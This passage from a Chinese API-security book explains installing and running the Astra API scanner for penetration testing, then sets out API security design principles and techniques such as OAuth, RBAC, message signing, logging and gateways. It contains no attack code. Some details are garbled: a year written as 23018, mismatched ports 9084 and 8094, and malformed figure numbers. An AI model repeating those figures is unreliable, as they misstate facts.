这里就不为读者讲述了,这里主要介绍Linux环境下安装Astra的安装过 程。 Astra的安装方式可分为普通文件安装和Docker安装,下面的讲述以 普通文件安装为例。Astra的安装分为以下几个步骤。 1)安装依赖,此操作的目的是安装Astra运行所需要的依赖类库。 安装时,直接输入的命令行为: 当执行安全依赖的命令后,其界面如图5-19所示。 ●图5-19 Astra依赖库安装 2)启动MongoDB,查看MongoDB启用情况,如图53-20所示, MongoDB已启动27017端口监听。 ●图5-20 启动MongoDB 3)执行astra.py,验证安装是否成功,其命令行如下。 如果读者看到命令执行后出现图5-21所示的提示界面,则表示Astra 已安装成功。这个时间,如果使用管理控制台,则执行如下命令行,如 图5-22所示。 ●图5-21 Astra安装验证 ●图5-22 Astra启动控制台 控制台启动完成后,访问当前主机的9084端口,即 http://127.0.0.1:8094,进入控制台管理界面,如图5-23所示。 ●图5-23 Astra控制台管理界面 以上就是Astra普通文件方式的安装过程,操作非常简单,但在安装 和使用过程中仍需注意以下事项。 ■ 因为Astra程序是23018年公开的,考虑程序的兼容性,在可以使 用Python2.7.13版本的情况下尽量使用此版本。 ■ 使用pip时,pip的版本尽量低于10.0.0,以减少pip版本升级带来的 找不到main函数的问题。 ■ Astra的功能、易用性与商业化的API产品还是存在不小的差距, 作为一款替代性的开源产品,安装使用过程中遇到的各种问题仍需要读 者自己动手去解决。 2.主要参数说明 当读者在Astra目录下,执行python astra.py -help命令时,会自动显 示Astra的主要参数,如图5-24所示。 Astra命令行的基本用法为: ●图5-24 Astra使用帮助说明 各个参数的含义分别介绍如下。 ■ -h或--help,此参数的作用是命令行帮助,使用此参数可以显示 所有命令行参数及具体使用描述,如图5-24所示。 ■ -c或--collection_type,此参数用来标识需要解析的API规范描述 文件的类型,默认值为postman。这里的类型是指Postman工具导出文 件、Swagger文件、WSDL文件等,目前Astra仅实现了对Postman工具的 支持,仅支持默认值,其他值是无效的。 ■ -n或--collection_name,此参数后跟需要解析的Postman文件名, 即从Postman工具中导出的文件名,在这里为当前文件的全路径或相对 路径。比如文件名为postman.json的文件存放在与astra.py相同的目录 下,则命令行为python astra.py-n postman.json。 ■ -u或--URL,此参数与大多数扫描器一样,参数后跟URL地址, 标明需要扫描的请求路径。 ■ -headers,此参数用于需要添加HTTP Header字段时使用,参数 后跟的字段值为JSON格式。例如,-headers{"token":"123"}。 ■ -method,此参数表示请求使用的HTTP方法,默认为GET方法, 可以使用此参数设置为GET、POST、PUT、DELETE等。 ■ -b或--body,此参数用于标识API请求时Body的数据值。 ■ -l或 --loginurl,此参数用于API扫描时需要登录的场景,参数后 跟登录的URL地址。 ■ -H或--loginheaders,此参数通常用于存放HTTP Header字段中 的登录标识,例如,{"accesstoken":"axzvbqdadf"}。 ■ -d或--logindata,此参数与--loginurl对应,用于登录URL时需要 携带的参数值,比如登录需要的用户名和密码。 从参数的定义可以看出,-c和 -method参数具有默认值,只有在非 默认值才需要设置。-n和 -u参数是使用最为广泛的,用户可以通过 Postman文件和URL两种方式启动扫描。最后三个参数都与登录相关, 只有在登录的场景下才会使用到。对于Astra的这些命令行参数,在渗透 测试中,通常都会组合使用,少数情况下会单独使用某一个参数,接下 来将为读者演示特殊场景下组合参数的使用。 3.典型场景验证 使用Astra进行API安全扫描有两个入口方式:命令行界面和Web网 页界面。命令行方式在前文已对所有参数作了详细介绍,而Web网页方 式目前仅支持单个URL地址的请求提交,使用十分简单,读者可以自行 操作,这里重点讲述命令行方式下特殊场景的使用。 Astra的扫描执行过程和其他扫描类似,当启动命令行后,扫描引擎 首先加载和解析配置信息,接着对API列表调用不同的检测方法,比如 SQL注入检测、XSS检测、XXE检测等,最后扫描结果存入数据库,用 户可以访问Web网页进行查看。当然,在命令行的控制台或logs扫描日 志中也可以查看扫描结果。下面从典型的业务场景演示Astra命令行的使 用。 ■ 使用Postman文件扫描。在启动命令行之前,需要将从Postman中 导出的文件放到Astra所安装的机器上,然后使用 -n参数,指定文件路 径,执行命令行如下所示: ■ 设置http header字段值,扫描某个指定API。其命令行如下: ■ 扫描某个登录后的指定API,比如创建用户,需要输入用户名、 邮箱、国籍,其命令行如下: 除了上面演示的三种常用使用方法外,Astra还有一些关键的配置, 主要有扫描配置和系统配置两个属性配置文件,这两个属性配置文件对 应的配置文件相对路径分别为Astra\utils\scan.property和 Astra\utils\config.property。scan.property属性配置文件中的内容包含扫描 是否启用配置模块和扫描关键字模块,这里主要来看看扫描功能是否 启用配置模块,因它涉及具体场景下使用哪些功能来进行扫描。其包含 的属性配置项如下: 每一个属性配置项是由键值对构成,key值为扫描功能,value值为y 或n,如果设置为y表示启用此扫描功能,如果设置为n表示不启用此扫 描功能。这个属性配置文件是使用时需要关注的一个点。 对于系统属性配置文件config.property,重点需要关注OWASP ZAP 攻击代理zap配置模块和登录login配置模块两块。zap配置模块由ZAP代 理IP地址、ZAP代理端口以及ZAP的apikey三个属性配置构成;login配 置模块包含内容比较多,例如,登录方式、登录URL、登录认证成功的 Token等。默认情况下,OWASP ZAP攻击代理功能是不启用的,如果需 要启用此功能,需要打开scan.property中的zap配置项,并设置 config.property文件中的zap配置项,这是使用时需要关注的第二个点。 5.5 小结 本章主要为读者介绍了API渗透测试的基本流程,与普通的Web渗 透测试流程相比,API渗透测试并没什么不同,至于差异更多的是在技 术细节上。通过API渗透测试特点章节中对RESTful API、GraphQL API、SOAP API、Protobuf等常用API技术渗透测试中的关键特性介绍, 更好地帮助读者理解为什么更多的是技术细节上的差异。在本章的最 后,介绍了API渗透测试过程中几种安全工具的典型使用方法,给渗透 测试人员提供了自动化渗透测试的导入思路。 第2篇 设计篇 第6章 API安全设计基础 前面5章介绍了API安全含义、API安全的常见问题、安全问题的表 现形式以及如何对API进行渗透测试。通过对这些内容的了解,读者掌 握了一些API安全的基本知识,同时也了解到很多API安全问题产生的 根源是缺少更好的API安全设计。从这一章开始,将为读者介绍API安 全设计的相关内容,通过详细的API安全设计及实战案例,讨论安全交 互场景设计,提升API自身的安全性。 6.1 API安全设计原则 接触过安全架构设计或学习过安全架构设计相关知识的读者可能在 不同的书籍或安全会议上听说过许许多多的安全设计原则,比如公开原 则、最小特权、默认不信任等。实际情况是,过多的安全设计原则往往 不利于安全设计人员做出正确的选择,尤其是安全专业知识储备不够的 安全设计人员。这里提到的安全设计原则只包含两条,分别是53A原则 和纵深防御原则。 6.1.1 5A原则 5A原则是由5个首字母为A的单词构成的,分别是 Authentication(身份认证)、Authorization(授权)、Access Control(访问控制)、Auditable(可审计性)、Asset Protection(资 产保护),其含义是当安全设计人员在做安全设计时,需要从这5个方 面考量安全设计的合理性。如果某一个方面缺失,则在安全设计上是不 全面的。 1.身份认证 身份认证的目的是为了知道谁在与API服务进行通信,是否是API 服务允许的客户端请求。在普通的Web应用程序中,通常会提供注册、 登录的功能,没有注册、登录的用户无法访问某些系统功能。对于API 服务来说,也是一样的道理。很多场景下的API服务,是需要知道谁在 请求,是否允许请求,以保障API接口调用的安全性。 2.授权 授权通常发生在身份认证之后,身份认证是解决“你是谁”的问题, 即对服务来说,谁在请求我。而授权解决的是“你能访问什么”的问题, 即通过了身份认证之后,访问者被授予可以访问哪些API。某些API只 有特定的角色才可以访问,比如只有内网的IP才可以调用某些服务、只 有管理员用户才可以调用删除用户的API。赋予某个客户端调用权限的 过程,通常为授权操作的过程。 3.访问控制 访问控制通常发生在授权之后,很多情况下,对于某个角色的权限 设置正确,但访问控制做的不一定正确,这也是存在很多越权操作的原 因。访问控制是对授权后的客户端访问时的正确性验证。读者可以设想 一下,一个普通的Web应用系统,用户通常关联角色,角色再对应关联 菜单,授权就是用户→角色→菜单这三个实体对象间建立相互关系的过 程。如果这个相互关系设置正确,用户是不具备访问这个功能菜单的权 限的,但如果用户访问这个功能菜单时,因访问控制没有限制,仍可以 访问,这就是访问控制的缺陷。对应于API服务,也是如此,不具备访 问权限的API却可以直接调用,问题就出在访问控制上。 4.可审计性 可审计性是所有应用程序很重要的一个特性,只是很多情况下,系 统管理人员过多的关注于功能实现而忽略了可审计的功能。审计的目的 对于API来说,主要是为了记录接口调用的关键信息,以便通过审计手 段及时发现问题,并在发生问题时通过审计日志进行溯源,找出问题的 发生点。不具备可审计性的API当接口发生问题时将是两眼一抹黑,望 API兴叹。 5.资产保护 API安全中的资产保护主要是指对API接口自身的保护,比如限 速、限流,防止恶意调用,除此之外,API接口传输的数据也是需要保 护的一个重点内容。在现代的API服务中,接口间相互传递的数据存在 很多敏感信息,比如个人信息相关的手机号码、身份证号,业务相关的 银行账号、资金、密码等。这些信息资产,在API安全中是特别需要保 护的内容,这也是安全设计人员在API安全设计中需要考虑的一个方 面。 6.1.2 纵深防御原则 纵深防御这个词来源于军事术语,是指在前方到后方之间,构建多 道防线,达到整体防御的目的。在网络安全领域,纵深防御通常是指不 能只依赖单一安全机制,建立多种安全机制,互相支撑以达到相对安全 的目的。可以通过一个生活中的例子来理解纵深防御原则的基本含义。 比如为了保障住户家中现金的安全,第一道防线是小区的保安,在人员 进入小区时鉴别;如果保安被欺骗了,还有楼道口的防盗门;若楼道口 的防盗门也被破解了,则住房室外的大门是第三道防线。小区保安、楼 道口防盗门、住房室外的大门之间的防护,就构成了纵深防御。 在API安全设计中,可以在不同层面使用不同的安全技术,来达到 纵深防御的目的。比如根据API业务属性的不同,划分为公共型API、 私有型API,再根据粒度粗细、业务需求、服务数量、权限划分,采用 不同的身份认证和授权技术实现。典型的场景如网银的转账接口,登录 网银时需要用户身份认证,但此认证通常会话时间比较长,使用此认证 的信息也可以访问多个不同的功能,但调用安全级别比较高的转账API 时,仍需要再次输入密码。网银登录时的身份认证和转账时的身份认 证,相互之间就构成了纵深防御原则。 5A原则重点强调每一层安全架构设计的合理性,是横向的安全防 护,强调的是宽度;纵深防御是对同一问题从不同的层次、不同的角 度做安全防护,是纵向的安全防护,强调的是深度。这两个原则相结 合,共同将安全设计构成一个有机的防护整体。 6.2 API安全关键技术 在讨论API安全关键技术之前,先来了解一下API安全技术栈,从 整体上对API安全可能涉及的安全机制和安全技术有大概的印象。 6.2.1 API安全技术栈 API技术的发展从最初的类库型API发展到现在的Web API,在信息 系统中,与内外的相互关系也发生了天翻地覆的变化。如今,即使中小 规模的互联网企业,在日常办公和开展业务的过程中,所需要使用的不 同智能化设备、不同服务能力,也可能会涉及桌面客户端形式的API接 入、移动设备的接入、智能设备的接入、云端接入等。从南北向视角横 切出来的端到端API通信关键技术示意图如图6-1所示。 ●图6-1 端到端API通信关键技术示意图 从图6-1中可以看到,当用户通过浏览器或移动终端调用API访问后 端服务时,除了通信链路使用HTTPS之外,由前端向后端依次通过速率 控制、身份鉴别、授权访问控制、消息保护、审计监控等安全机制。虽 然与实际应用中各个安全机制杂糅在一起使用的情况不相符,但基本能 表述清楚其中涉及的安全机制,把这些安全机制对应到具体的安全技术 上,统称为API安全技术栈,如图6-2所示。 ●图6-2 API安全技术栈 图6-2对常用的API安全技术进行了总结,最上面的WAF、API网关 是API安全的基础套件,为API安全提供综合的安全支撑能力;认证与 授权以OpenID Connect套件、OAuth 2.0套件为代表,提供API的身份认 证和鉴权解决方案;而审计套件、JSON套件、XML套件为API的消息 保护和安全审计提供技术支持。 6.2.2 身份认证技术 身份认证是API安全的基础,在互联网上,网络环境的复杂多样导 致API的存在状态也是多种多样的。要确保API使用的可信可控,使用 身份认证技术是最简单、高效的选择。 第一章从API使用者的角度,将现代API划分为用户参与型API、程 序调用型API和IoT设备型API三种类型。与此类似的,在身份认证技术 的使用中,基于API使用者身份的不同,将API身份认证技术划分为基 于用户身份的认证技术和基于应用程序身份的认证技术。 ■ 基于用户身份的认证技术是指API的使用者为某个具体的自然人 用户,其身份认证过程依赖于用户身份的认证过程,通过确定用户身份 来确认API使用者的可靠性。 ■ 基于应用程序身份的认证技术是指API的使用者不是自然人用 户,而是另一个API或应用程序。其身份认证过程依赖于对API或应用 程序身份的认证来确认使用者的可靠性。 这两种认证方式,大体相对应三种API类型,用户参与型API对应 基于用户身份的认证技术,而程序调用型API和IoT设备型API对应于基 于应用程序身份的认证技术。 在基于用户身份的认证技术中,API的安全设计与其他Web应用并 无差别,其认证方式主要有用户名/密码认证、动态口令、数字证书认 证、生物特征认证等。随着互联网的发展,人们对安全性的要求越来越 高,这些认证方式已经很少单独使用,目前使用最多的是双因子认证 (2FA)或多因子认证(MFA),即将两种或多种认证方式组合起来使 用,以提高应用程序和API的安全性。常见的组合有用户名/密码+短信 挑战码、用户名/密码+动态令牌、用户名/密码+人脸识别、人脸识别 +短信挑战码等。这类技术下的业务场景中,认证通常融入单点登录 SSO系统中,作为整个流程的一个环节。开源组件CAS的单点登录实现 机制如图6-3所示。 图6-3中,步骤4中对用户身份的认证涉及的技术即为上文中提及的 各种身份认证技术,比如身份认证服务调用LDAP来进行用户名和密码 的验证或调用数据库来进行用户名和密码的验证、身份认证服务调用 OTP服务下发一次性令牌等。 在基于应用程序身份的认证技术中,是将应用程序客户端身份认证 作为认证的主体,来确认应用程序的身份,常用的认证方式有HTTP Basic基本认证、Token认证、数字证书认证等。这类技术的解决方案 中,以OpenID Connect为代表,将身份认证融入授权码、简易授权 码、客户端凭据等授权流程中,完成不同场景下的API身份认证,如图 6-4所示。 ●图6-3 CAS单点登录流程 ●图6-4 客户端应用程序认证技术示意图 在OpenID Connect标准规范中,对认证方式的定义既包含基于用户 身份的认证技术也包含基于应用程序身份的认证技术,其对应的开源产 品Connect2id server中支持面向用户身份的可插拔式的多种集成认证 方式,比如LDAP认证、OTP令牌认证、X.509证书认证、生物特征认 证等;也支持面向客户端的HTTP Basic基本认证、JWT令牌认证、 X.509证书认证以及客户端注册身份的联邦认证。 在API的应用和管理过程中,添加身份认证对于维护整个应用程序 的安全、稳定有着重要的意义。安全的基础是信任,身份认证技术是对 于API被使用过程中使用者身份的第一层安全保障,通过身份确认有利 于建立以身份为中心的对象关系,比如调用的对象、调用的时间、调用 的频率、调用的来源等;通过使用者身份反查审计日志,追溯整个API 调用链等。使用了身份认证技术的API,更有利于对API的统一管理、 运营、维护,提高API日常管理的效率。 6.2.3 授权与访问控制技术 在API安全中,当技术人员在讨论API授权时,其实是将授权与访 问控制两件事情放在一起讨论。身份认证技术是解决API使用者的身份 问题,授权是解决基于当前的API使用者身份下,可以拥有什么样的权 限,访问哪些资源。与传统的Web应用程序不同,API的授权可能发生 在单一的应用程序中,但更多的可能发生在多个相互独立的应用程序之 间。 API的授权与访问控制技术可以归为两大类,一是基于使用者身份 代理的授权与访问控制,典型的以OAuth 2.0协议为代表;另一类是基 于使用者角色的授权与访问控制,典型的以RBAC模型为代表。 ■ 基于使用者身份代理的授权与访问控制技术:对于API的授权和 可访问资源的控制依赖于使用者的身份,使用者可能是某个自然人用 户,也可能是某个客户端应用程序,当得到使用者的授权许可后,即可 访问该使用者授权的资源。 ■ 基于使用者角色的授权与访问控制技术:对于API的授权和资源 访问依赖于使用者在系统中被授予的角色和分配的权限,不同的角色拥 有不同的权限,比如功能权限、数据权限,访问资源时依据此角色分配 的权限的不同可以访问不同的资源。 OAuth协议是目前最流行的客户端应用授权机制,其产生是为了 解决API在多个应用程序之间调用时的授权问题,其基本思路是采用授 权令牌的代理机制,在客户端应用程序、授权服务器、被调用API或 资源之间,构建一个虚拟的令牌层,用于资源访问的授权确认, OAuth授权的核心流程如图6-5所示。 ●图6-5 OAuth授权核心流程 在使用OAuth协议时,根据令牌使用者和调用对象不同,采用不同 的授权方式。一般来说,遵循的授权流程如表6-1所示。 表6-1 OAuth授权方式与调研对象 RBAC模型最开始是在Web应用程序中被广泛使用,近些年在API 应用程序的访问控制中也被广泛使用,比如高版本的Kubernetes中默认 启用RBAC作为授权与访问控制机制。RBAC模型的基础是业务角色, 依赖于角色构建授权和访问控制能力。在企业内部,根据工作职责的 不同会划分不同的部门或岗位。在信息系统中,将这些信息抽象后归类 为角色或组,同一个角色或同组中的用户具备相同的权限。当需要管理 权限时,是通过对角色的分配来实施权限的控制。某公司客服员工、部 门经理、IT经理在信息系统中的不同权限和所对应的功能,如图6-6所 示。 ●图6-6 RBAC模型用户-角色-功能权限关系图 在RBAC模型中,其授权的核心要素是账号、角色和权限。账号是 指在API调用时代表的调用者身份,代表用户身份或调用应用客户端的 身份。权限是将系统提供的业务功能按照数据维度和功能维度划分为数 据权限和功能权限,比如能访问哪些数据属于数据权限,能做哪些操作 或操作哪些接口属于功能权限。而角色是账号与权限之间的桥梁,将调 用者身份与可操作的具体功能或数据进行授权关联。某客服系统中,不 同地区的同一角色具备相同的功能权限,但数据权限却各不一样,其对 应关系图如图6-7所示。 ●图6-7 RBAC模型用户-角色-功能权限+数据权限关系图 在互联网应用程序中,OAuth协议和RBAC模型通常被同时使用, 共同解决API资源调用和数据访问的授权控制问题。 6.2.4 消息保护技术 消息保护是指对API通信过程中的传输链路及传输的消息对象进行 保护,从TCP/IP四层通信模型上看,API主要表现在应用层,其他各层 与TCP/IP消息特征并无个性化差异,如图6-8所示。 ●图6-8 API通信协议模型 针对API的消息保护一般从以下两个方面来实现安全保护机制。 ■ 通信链路保护:主要是传输层保护,使用mTLS/SSL来提高通信 链路的安全性。 ■ 应用层消息加密和签名:在应用层,除了使用HTTPS、SFTP、 SSH等安全协议外,还会对消息体进行加密和签名。加密用来保护数据 的机密性,签名用来保护数据的防劫持和防篡改。 因应用层API交互技术的不同,对消息体的保护更多是围绕具体的 交互细节去实现,比如对认证令牌的保护、对访问令牌的保护、对敏感 信息的保护等。而JSON和XML作为消息传递的数据格式,其相关的技 术标准(如JWT、JWE、JWS、WS-Security等)为消息保护提供了可操 作指南。 在API消息传输的过程中,为了解决消息可能被监听、拦截与篡改 的问题,加密和签名在消息保护中发挥了极大的作用。加密通常采用加 密算法,依赖密钥对数据进行加密后再传输,如图6-9所示。 ●图6-9 消息加密、签名示意图 在密码学中,加密算法又分为对称加密与非对称加密,对称加密中 通信双方使用同样的密钥,仅适用了信息系统内部、通信交互方比较少 的场景。试想,在大范围的公共网络环境中,涉及多方交互,使用对称 加密算法,多方均知道密钥,安全性大大降低。这时使用非对称加密算 法的优势就比较明显,公钥、私钥密钥对的方式在使用过程中,各方使 用公钥加密,私钥解密,即使某一方密钥泄露或丢失,也不会给整体的 安全性带来多大的影响。当然,如果考虑到非对称加密算法对性能的影 响,也可以在消息保护中,模拟HTTPS握手的过程,先使用非对称加密 算法建立通信信道,协商对称加密的密钥,再使用对称加密算法,提高 技术难度来规避性能影响。 使用签名算法处理后的消息,在传输过程中消息内容仍是明文,仅 仅是在原有的消息内容后增加签名信息,供对方在消息验证时验签使 用。签名通常被用来校验消息在传输过程中是否被篡改,所以,如果涉 及敏感信息的传输,仅使用签名算法是不够的。在API的使用过程中, 签名通常结合数字证书一并使用,融入API整体的安全防护机制中,既 解决了消息防篡改的问题,也增加了API身份认证的安全性。 6.2.5 日志审计技术 日志审计在API技术中通常是结合已有的日志服务一起使用,很少 单独去构建日志审计服务,API服务仅作为日志输入的一个端点,为审 计服务提供日志数据来源。如图6-10所示,业务组件服务和API服务作 为两个不同的端点向日志审计系统输入原始日志数据。 ●图6-10 日志处理流程 日志审计的目的是通过审计策略和日志分析,发现系统在某一时间 段内发生的异常事件,通过事件关联和追溯,分析与事件相关联的内外 部人员、系统、事件涉及的范围等。一条标准的日志,至少包含以下关 键要素。 ■ 时间:指日志发生的时间点,一般精确到秒级,特殊业务需要精 确到毫秒级,准确的时间记录有利于事件的分析与关联。 ■ 来源:指日志操作的来源,比如源IP、源主机。 ■ 结果:指日志涉及的操作是否成功,比如一次管理API的调用请 求,在日志中需要记录是调用成功还是失败。 ■ 操作者:指当前日志是由谁操作的,是某个用户还是某个客户端 应用程序。 ■ 操作详情:指操作的具体内容是什么,比如给某个API授权,则 操作详情需要记录授予什么样的权限。 ■ 目标对象:指被操作的对象,比如被请求的API端点、被访问的 目标主机。 除了上述基本字段外,很多审计系统根据业务场景的不同在设计时 会增加其他关键字段,比如日志的类型表示是新增操作还是删除操作或 其他,会话ID记录多条日志与会话的关系。 在API服务的日志采集中,可以从以下两个层面去收集。 ■ 接口层:接口的日志主要用于记录在什么时间,谁调用了哪个 API端点,是否调用成功等信息。如果在整个技术架构中使用了API网 关,则最好在网关层面收集。这类日志信息的格式易于统一和标准化, 收集可以使用代理或切面的方式,对原有API服务的影响小,基本很少 需要改造。 ■ 操作层:操作的日志主要用于记录API端点被调用时执行的业务 操作,比如创建某个资源、删除某个资源、查询哪些数据等。这些与业 务逻辑相关的日志信息,需要提前在代码中植入代码片段,按照日志标 准格式输出。 当前互联网应用系统中,对API日志的收集主要采用拦截器技术。 在不同的API服务或API端点日志被收集后,交由后端日志分析服务, 根据既定的审计规则对数据进行分析,生成审计事件。这个过程中,审 计规则的制定需要根据业务情况去梳理并在运营过程中不断优化。举例 来说,系统中存在一条针对API调用限流的审计规则是非工作时间单位 时间5min内连续调用接口大于2000次。在第三方厂商的业务初期,业务 量小,这条审计规则不会触发审计事件,但当第三方厂商业务发展起来 之后,2000的阈值可能会导致审计系统频繁触发审计事件。这时,这条 审计规则就需要根据实际业务量来评估一个合理值作为新的阈值。 从日志采集、日志标准化到日志分析、日志展现,这些功能在已有 日志审计系统的前提下,直接把API服务当作一个日志输入接入系统比 较简单。但如果没有日志审计系统,业界也有一些开源产品供架构设计 时选择,主要的产品有Elasticsearch、Logstash、Kibana、Filebeat等,如 图6-11所示。 ●图6-11 开源日志审计技术组件 Beats工具内置多种模块(如Filebeat、AuditBeat、Functionbeat 等),可针对常见设备或组件(如Apache、Cisco ASA、Kubernetes、 Docker、NGINX、MySQL等)的日志进行收集、解析;Elasticsearch是 实时全文搜索和分析引擎,提供检索、分析、存储数据的功能;Kibana 用于搜索、分析和可视化数据。使用这些开源组件搭建日志审计系统在 技术上已经比较成熟,架构选择时,可以通过这些组件的整合为业务提 供一整套日志审计的解决方案,满足大多数场景下的应用需求。 6.2.6 威胁防护技术 威胁防护是整个API安全中很重要的一环,在大多数应用架构中, 防护技术通常选择前置WAF(Web Application Firewall)来接入整个链 路,但目前市场上的WAF产品因API技术的特殊性对API安全的防护能 力仍显不足,其主要表现在以下几个方面。 ■ 认证和授权流程的绕过。API的认证和授权流程很多互联网应用 是基于OAuth 2.0和OpenID Connect去实现的,比传统的Web安全中的认 证和授权流程复杂且与业务耦合度高,传统的安全防护产品难以检测业 务流程绕过的威胁。 ■ 数据格式难以识别。API在交互过程使用的消息格式大多数为数 据对象实体,而非单一的字段,比如JSON格式、XML格式、Protobuf格 式、JWT格式等。在威胁检测时需要深入这些数据格式的数据结构内容 去分析,传统的安全防护产品在此方面检测能力比较弱。 ■ 流量控制能力难以满足业务需求。面对API层面的CC攻击、慢 BOT攻击时,传统上使用的检测和防护策略,如访问频率限制、IP黑名 单设置、二次验证机制等难以对新型攻击起到很好的防御效果。 针对API的威胁防护,除了常规使用WAF外,通过开发实现一些安 全机制和使用RASP防护是不错的选择。在前文提及的API技术中传输所 使用的数据是导致WAF无法做深度攻击向量检测的原因,而在RASP层 面,这些数据已被应用解析完毕,比如JWT格式的数据,虽然在传输时 WAF无法解析,但通过应用程序处理到RASP层时已被还原,能被 RASP捕获,这也是在威胁防护技术中推荐使用RASP产品的原因。 对于需要开发实现的安全机制,需要根据不同的业务需求来做定制 化的设计。比如针对限流和熔断可以通过流量控制策略和API管理来实 现。流量控制策略可以根据API端点、应用程序、用户三个层面设置流 量阈值规则。 ■ API端点:设置API端点在单位时间内被调用的次数不能超过阈 值,超过阈值触发限流或熔断机制。比如不超过2000次/min,不超过 200次/s,不超过50000次/h等。 ■ 应用程序:设置某个应用程序在单位时间内被调用的总数不能超 过阈值,超过阈值触发限流或熔断机制。一个应用程序可能包含多个 API端点的调用,根据其调用总数设置阈值。 ■ 用户:设置某个用户在单位时间内被调用的总数不能超过阈值, 超过阈值触发限流或熔断机制。一个用户可能会调用多个API端点,一 个用户可能会拥有多个应用程序,统计其单位时间内的流量总和。 在设置限流或熔断策略时,注意同时使用多个策略的情况下,各个 策略触发的优先级,防止出现机制混乱或机制失效。而对于具体规则的 制定,在API接口层面,至少从以下三个方面的考虑。 ■ API调用频次。 ■ API调用时长。 ■ API调用总数。 这三个方面的数据反映出API服务当前资源的消耗情况。制定规则 时要从这三个方面考虑,并以组合的方式确定触发流量限制的具体规 则,嵌入API调用的流程中,以判断当前限流熔断规则是否触发,调用 请求是阻断还是放行。 6.3 常用场景安全设计 前文中讨论了API安全的关键技术,在实际应用中,如果不是具备 研发能力的企业或团队,很难自己去实现API安全需要的安全机制来保 护API,往往结合业务的技术架构,参考5A原则和纵深防御原则,引入 内外部安全组件,来系统性地解决API安全问题。这里,为读者选取南 北向的API安全防护与东西向的API安全防护作为范例,讲解常见场景 下的API安全设计。 6.3.1 API安全中南北向流量与东西向流量的概念 在IT信息系统中,通常把数据中心IDC内部与外部的通信流量称为 南北向流量,把IDC内部相互通信的流量称为东西向流量。在API技术 架构中,根据API所承载业务功能服务范围的不同,将API划分为公有 API、私有API和混合型API(见1.2.2节),但在实际的网络环境中,不 同类型的API服务部署在网络中的位置可能未严格地按照安全区域划分 后的部署。所以,参考IDC通信流量的划分方式,将系统外部与内部交 互的API流量称为南北向流量,将系统内部交互的API流量称为东西向 流量。如图63-12所示是某系统的API网络流量示意图,通过图6-12中的 内外部通信交互,读者可以对南北向、东西向流量有一个直观的了解。 ●图6-12 API网络流量示意图 在图6-12中虚线部分表示的为南北向流量,实线部分表示的为东 西向流量。 6.3.2 API网关与南北向安全设计 互联网技术发展到今天,各大企业的应用系统架构早已从初级的单 体架构、分层架构进化成更具有拓展性、易于管理的分布式架构或微服 务架构。近些年,随着云厂商的崛起,Serverless架构也逐渐被推广开 来。无论是哪种架构,内外部通信的技术都大量地依赖API来实现。当 内部组件越来越多,对外提供的业务功能越来越模块化后,给日常的技 术管理带来更多的问题。 1.问题一:非业务功能模块的重复或冗余 为了保障信息系统的可管理性和易用性,在建设过程中通常会增加 一些额外的功能模块,比如系统监控。系统监控功能与业务是无关的, 有没有系统监控只要业务功能完善,用户都可以使用系统或平台,添加 系统监控功能是为了便于系统管理人员和系统运维人员更好地监控系统 的运作状态,及时、尽早地发现系统中可能存在的问题,并根据监控信 息做出相应的调整。而安全机制也类似,尤其是当每一个业务组件或服 务、微服务都去实现这些安全机制时,安全功能的重复建设就会凸显出 来,如图6-13所示。 ●图6-13 安全模块功能重复示意图 2.问题二:多端、多协议的兼容性问题复杂 企业对外提供的业务功能面向不同的用户群体,网络环境和客户端 设备各不相同,比如移动App应用程序、H5应用程序、普通的Web应用 程序、小程序、IoT设备等,为了兼顾多端的使用,接口实现变得更加 复杂。同时,因为系统建设的时期不同,存在多种不同技术实现的应 用,在接口技术上也不尽相同,比如SOAP API、RESTful API、RPC服 务等。这些问题的解决,在系统架构上需要一个组件来进行不同协议间 的转换和接口管理。 3.问题三:业务功能合并和边界防护 当系统架构在模块化拆分之后,业务上或第三方合作厂商在使用这 些接口时,往往一次性需要调用多个接口才能完成一个业务所需要的功 能。同时,模块化拆分之后使得面向外部暴露的攻击面变大,也难以管 理。 为了解决这些问题,在架构中引入API网关成为首选的解决方案。 一个典型的API网关产品至少包含统一接入、协议适配、流量控制、安 全防护等基本功能,网关负责各种类型API的统一接入,并将不同的请 求协议转换成内部API可理解的接口协议,再通过身份鉴别、访问控 制、限流、降级、熔断等措施,对确认放行的请求经过路由策略进行转 发,共同保护网关的整体稳定性。API网关在系统架构中位置的示意 图,如图63-14所示。 ●图6-14 API网关在系统架构中的位置 使用API网关后,在整个架构上,API网关对外部提供统一的API调 用入口,并在系统边界为内部的可调用API提供保护。API网关就像所 有后端服务的大门,当前端请求过来之后,首先经过API网关的身份认 证、访问控制、流量控制等安全控制措施,API网关确认通过后,再向 后端服务转发请求。API网关本身提供的数据转换、负载均衡、消息加 密等功能降低了各个后端组件或模块技术实现的复杂度,屏蔽了后端服 务在技术上的复杂性和差异性。 对于客户端接入来说,原来需要对接不同的后端服务或组件,现在 只需要对接API网关即可,在使用流程上更为方便、简洁,用户体验也 更好。 目前市场上,API网关可供选择的产品很多,既有开源产品也有商 业产品,比如Kong、Zuul、Tky、Apigee等。关于API网关的更多信 息,将在第11章为读者做详细介绍。 6.3.3 微服务与东西向安全设计 介绍了使用API网关来保护南北向API的安全,接下来再来介绍在 系统内部的各个服务或组件之间的东西向API安全是如何保护的。东西 向API更多的是系统内部的相互调用,通常不经过API网关。当不使用 API网关时,安全问题的解决也成了微服务能力构建的一部分。在微服 务架构中,常见的安全问题如下。 ■ 微服务与微服务之间身份互信问题。 ■ 微服务与微服务之间访问控制问题。 ■ 微服务与微服务之间的通信链路安全问题。 ■ 微服务的日志审计与调用链跟踪问题。 作为架构师或架构设计人员,通常将安全设计融入整体的微服务架 构中,系统化、模块化的解决上述安全问题。典型的微服务架构如图6- 15所示。 ●图6-15 微服务架构示意图 在这个架构中,身份合法性验证通常依赖APP ID/API KEY或数字 证书,访问控制依托OAuth 2.0协议通过JWT令牌充当虚拟身份作为认证 和授权的凭证,在各个微服务之间共享。而通信安全依赖于mTLS或 HTTPS来保障链路的安全性,微服务架构中的安全机制如图6-16所示。 ●图6-16 微服务架构中主要安全机制 这些技术细节,将在接下来的第7~9章为读者做详细的阐述。当 然,在有些架构设计中,会使用多个API网关,一个作为内部API接入 网关使用,一个作为外部API接入网关使用。 6.4 小结 本章从API安全设计的角度,概要地介绍了与API安全相关的关键 技术。本章首先介绍了安全设计的两个基本原则:5A原则和纵深防御 原则。这两个原则是安全设计的基础,分别从宽度和深度两个方面来指 导安全设计的合理性和全面性。接着从API安全技术栈的层次依次介绍 了身份认证技术、授权与访问控制技术、消息保护技术、日志审计技术 以及威胁防护技术,并通过南北向与东西向安全设计两个范例,概要性 